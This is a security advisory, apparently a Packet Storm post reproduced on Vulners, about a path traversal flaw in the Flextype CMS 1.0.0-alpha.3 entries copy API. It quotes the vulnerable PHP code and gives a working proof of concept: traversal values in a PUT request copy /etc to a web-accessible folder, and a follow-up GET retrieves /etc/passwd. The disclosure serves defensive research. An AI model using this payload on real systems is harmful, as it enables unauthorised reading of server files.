Lucene search
+L

Flextype CMS 1.0.0-alpha.3 Path Traversal

🗓️ 04 Sep 2026 00:00:00Reported by Ron EType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 8 Views

Path traversal in Flextype CMS 1.0.0-alpha.3 entries copy enables authenticated file disclosure.

Code
Description
    
    Flextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the
    Entries copy functionality. An authenticated remote attacker can supply
    directory traversal sequences within both the source id and destination
    new_id parameters submitted to /api/v1/entries/copy.
    
    Flextype constructs entry directory paths by directly concatenating the
    supplied entry identifier with the configured entries directory without
    sufficiently canonicalizing the resulting path or verifying that it remains
    within the intended project/entries directory.
    
    As a result, an attacker can escape the configured entries directory for
    both the source and destination of a copy operation. Testing confirmed that
    a source identifier containing ../../../etc resolved to the system /etc
    directory and that a destination identifier containing ../../etc-copy
    caused the directory to be copied outside project/entries to /app/etc-copy.
    
    The copied /etc/passwd file was subsequently accessible over HTTP from
    /etc-copy/passwd, resulting in disclosure of operating-system files that
    were not intended to be exposed by the web application.
    Impact
    
    Successful exploitation allows an authenticated remote attacker to escape
    the Flextype entries directory and use filesystem directories outside the
    intended content storage location as the source or destination of entry
    copy operations.
    
    Testing demonstrated that the vulnerability can copy operating-system files
    from /etc into a web-accessible location under the application root. This
    resulted in remote disclosure of /etc/passwd.
    
    Depending on filesystem permissions, application deployment layout, and
    web-server configuration, the vulnerability may allow disclosure of
    sensitive application and operating-system files by copying otherwise
    inaccessible directories into web-accessible locations.
    
    The destination traversal also provides a filesystem write/copy primitive
    outside the intended project/entries security boundary. This primitive may
    increase the impact of other vulnerabilities when chained with
    functionality capable of interpreting or executing attacker-controlled
    files.
    DetailsVulnerable Entry Copy Implementation
    
    The Flextype copy() method receives the existing entry identifier and new
    entry identifier and eventually passes both values to getDirectoryLocation()
    :
    
    public function copy(string $id, string $newID): bool
    {
        // Collections validation helper.
        // Check if collections are identical.
        $isValidCollections = function ($id, $newID) {
            $collectionForCurrentEntry = $this->getCollectionOptions($id);
            $collectionForNewEntry     = $this->getCollectionOptions($newID);
    
            $result = true;
    
            if (! isset($collectionForCurrentEntry['filename']) ||
                ! isset($collectionForCurrentEntry['extension']) ||
                ! isset($collectionForCurrentEntry['serializer']) ||
                ! isset($collectionForNewEntry['filename']) ||
                ! isset($collectionForNewEntry['extension']) ||
                ! isset($collectionForNewEntry['serializer'])) {
                $result = false;
            }
    
            if (($collectionForCurrentEntry['filename'] !=
    $collectionForNewEntry['filename']) ||
                ($collectionForCurrentEntry['extension'] !=
    $collectionForNewEntry['extension']) ||
                ($collectionForCurrentEntry['serializer'] !=
    $collectionForNewEntry['serializer'])) {
                $result = false;
            }
    
            return $result;
        };
    
        if (! $isValidCollections($id, $newID)) {
            return false;
        }
    
        $this->registry()->set('methods.copy', [
            'collection' => $this->getCollectionOptions($id),
            'params' => [
                'id' => $id,
                'newID' => $newID,
            ],
            'result' => null,
        ]);
    
        emitter()->emit('onEntriesCopy');
    
        if (! is_null($this->registry()->get('methods.copy.result')) &&
            is_bool($this->registry()->get('methods.copy.result'))) {
            return $this->registry()->get('methods.copy.result');
        }
    
        return filesystem()
            ->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
            ->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
    }
    
    The getDirectoryLocation() method constructs the filesystem path using the
    supplied identifier:
    
    public function getDirectoryLocation(string $id): string
    {
        $this->registry()->set('methods.getDirectoryLocation', [
            'collection' => $this->getCollectionOptions($id),
            'params' => [
                'id' => $id,
            ],
            'result' => null,
        ]);
    
        emitter()->emit('onEntriesGetDirectoryLocation');
    
        if (! is_null($this->registry()->get('methods.getDirectoryLocation.result'))
    &&
            is_string($this->registry()->get('methods.getDirectoryLocation.result')))
    {
            return $this->registry()->get('methods.getDirectoryLocation.result');
        }
    
        return FLEXTYPE_PATH_PROJECT . '/' .
               $this->options['directory'] . '/' .
               $this->registry()->get('methods.getDirectoryLocation.params.id');
    }
    
    The supplied identifier is appended directly to:
    
    FLEXTYPE_PATH_PROJECT/<entries-directory>/
    
    without enforcing that the canonicalized resulting path remains beneath the
    intended entries directory.
    
    Consequently, traversal sequences within an entry identifier can escape the
    expected directory.
    Proof of Concept — Escape Source and Destination Directories
    
    The following request supplies traversal sequences for both the source and
    destination identifiers:
    
    PUT /api/v1/entries/copy HTTP/1.1
    Host: 127.0.0.1:18080
    Content-Type: application/json
    
    {"token":"lab-token","access_token":"password","id":"../../../etc","new_id":"../../etc-copy"}
    
    Given an entries directory rooted at:
    
    /app/project/entries
    
    the source:
    
    ../../../etc
    
    escapes the entries directory and resolves to:
    
    /etc
    
    The destination:
    
    ../../etc-copy
    
    similarly escapes the entries directory and resolves to:
    
    /app/etc-copy
    
    The HTTP endpoint returned:
    
    HTTP/1.1 404 Not Found
    Host: 127.0.0.1:18080
    Date: Mon, 31 Aug 2026 02:17:02 GMT
    Connection: close
    X-Powered-By: PHP/8.1.34
    Set-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Type: application/json;charset=UTF-8
    Content-Length: 0
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
    Origin, Authorization
    Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
    Access-Control-Allow-Expose:
    Access-Control-Allow-Credentials: false
    
    Despite the HTTP 404 response, filesystem inspection confirmed that the
    copy operation occurred.
    Proof of Concept — Filesystem Evidence
    
    Following the request, /etc/passwd existed beneath the attacker-selected
    escaped destination:
    
    realpath: /app/etc-copy/passwd
    ---
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    --snip--
    
    The resulting path:
    
    /app/etc-copy/passwd
    
    is outside the intended:
    
    /app/project/entries
    
    directory.
    
    This demonstrates that the traversal sequences affected the underlying
    filesystem operation despite the API returning HTTP 404.
    Proof of Concept — Remote File Disclosure
    
    The copied file could subsequently be retrieved directly through the web
    server:
    
    GET /etc-copy/passwd HTTP/1.1
    Host: 127.0.0.1:18080
    
    The application returned the copied operating-system file:
    
    HTTP/1.1 200 OK
    Host: 127.0.0.1:18080
    Date: Mon, 31 Aug 2026 02:17:02 GMT
    Connection: close
    Content-Length: 839
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    --snip--
    
    Root Cause
    
    The root cause is insufficient validation and canonicalization of entry
    identifiers before they are incorporated into filesystem paths.
    
    The vulnerable path construction is:
    
    return FLEXTYPE_PATH_PROJECT . '/' .
           $this->options['directory'] . '/' .
           $this->registry()->get('methods.getDirectoryLocation.params.id');
    
    The resulting path is then used directly by the copy operation:
    
    return filesystem()
        ->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
        ->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
    
    Neither the source nor destination is shown being canonicalized and checked
    to ensure it remains beneath the configured entries directory before the
    filesystem copy operation occurs.
    
    This allows ../ path components supplied through the entry identifiers to
    escape the intended filesystem boundary.
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Sep 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
8